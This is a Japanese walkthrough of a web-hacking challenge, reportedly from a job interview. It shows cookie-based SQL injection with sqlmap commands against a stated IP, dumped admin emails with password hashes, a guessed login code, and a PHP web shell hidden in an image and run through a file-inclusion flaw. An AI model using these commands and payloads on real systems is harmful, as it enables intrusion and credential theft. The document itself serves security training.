朋友の面接で、実戦問題が送られてきました。公開されている同じ問題をインターネット上で見つけたので、ここに記録します。
問題のリンクを開くと以下のようになります:
about ページをクリックすると、いくつかのヒントが表示されます。
ディレクトリスキャンを行う必要があるとのことです。dirsearch を使用してディレクトリスキャンを行った結果、いくつかのファイルが見つかりました。
robots.txt を訪問して、機密情報があるか確認します。
/1234 というヒントが表示されますが、アクセスすると 404 エラーが表示されます。
このウェブサイトでは robots.txt が変更されており、友人の面接のターゲットマシンの robots.txt ファイルから、内容が Company_admin/login.php であることがわかりました。これはこのウェブサイトのバックエンドです。
バックエンドではメール、パスワード、4 桁の認証コードが必要です。シンプルなブルートフォース攻撃を行った結果、このページではリフレッシュごとに認証コードが変わるため、フォームのブルートフォース攻撃は不可能です。
面接のターゲットマシンの about.php ページには、sqli というヒントがあり、明らかに SQL インジェクションの脆弱性があることがわかります。
ホームページのブログをクリックすると、id というパラメータがあることがわかり、SQL インジェクションが可能かどうかを試してみます。
ここで、「私のパスワードについて」というヒントが与えられました。
SQL インジェクションを利用するために、sqlmap を使用してみましたが、直接利用することはできず、コンテンツを取得することができませんでした。
テストの結果、インジェクションポイントは cookie に存在することがわかりました。
3 と 4。
sqlmap を直接実行します。
sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog --tables
5 つのテーブルが存在します。
テーブルの内容を読み取ります:
sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog -T admin –columns
admin のフィールドを実行すると、エラーが発生し続けるため、手動でインジェクションを行いました。
5 つのアカウントが得られました:
2020-08-08 20:16:55:fakeaddr@gmail.com:e69dc2c09e8da6259422d987ccbe95b5
2021-10-19 01:44:56:123@qq.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 02:53:01:qwe@gmail.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 23:41:40:qian@gmail.com:e10adc3949ba59abbe56e057f20f883e
[email protected]の平文パスワードは asdqwe123 です。
残りは 4 桁の認証コードです。ブルートフォースはできないので、about ページのヒントに「いくつかの社会工学」とありました。
面接のターゲットマシンのブログには、2 つの記事があり、1 つは自分の誕生日おめでとうというもので、誕生日の日付が書かれています:2019-10-27。
試してみると、1027 でログインに成功しました。
ログイン後の画面は以下のようになります:
ブログの投稿作成の場所には、アップロードポイントが存在し、テストの結果、この場所はホワイトリストであり、拡張子が画像形式のみ許可されています。
ファイルインクルージョンの脆弱性が存在するかどうかを確認し、直接画像マルウェアを含めてコマンドを実行します。
access-language の場所には、非常に馴染みのあるパラメータ「?template=」があります。
直接ファイルインクルージョンを行うことができます。絶好の機会です。画像マルウェアを準備します。
画像マルウェアを作成し、php ファイルと png ファイルを用意します。
cat 1.php >> 1.png
テストの結果、このターゲットマシンでアップロードされたウェブシェルは、GET または POST リクエストで接続することはできず、SQL インジェクションと同様に、cookie パラメータを使用して接続し、コマンドを実行する必要があります。
まず、次のようなバックドアファイルを準備します。
<?php system($_COOKIE['a']);?>
そして、上記の方法で画像マルウェアを作成し、以下のような画像が生成されます。
ブログ作成の場所に戻り、画像マルウェアをアップロードします。
アドレスは upload/0c3459ff68c1495cefc557f0084a2ac6.png です。
ファイルインクルージョン:http://47.114.90.165:21001/Company_admin/language.php?template=../../upload/0c3459ff68c1495cefc557f0084a2ac6.png。
このリクエストを Burp でキャプチャし、cookie の場所でコマンドを実行します。
フラグを探し始めます。
フラグを見つけることができました。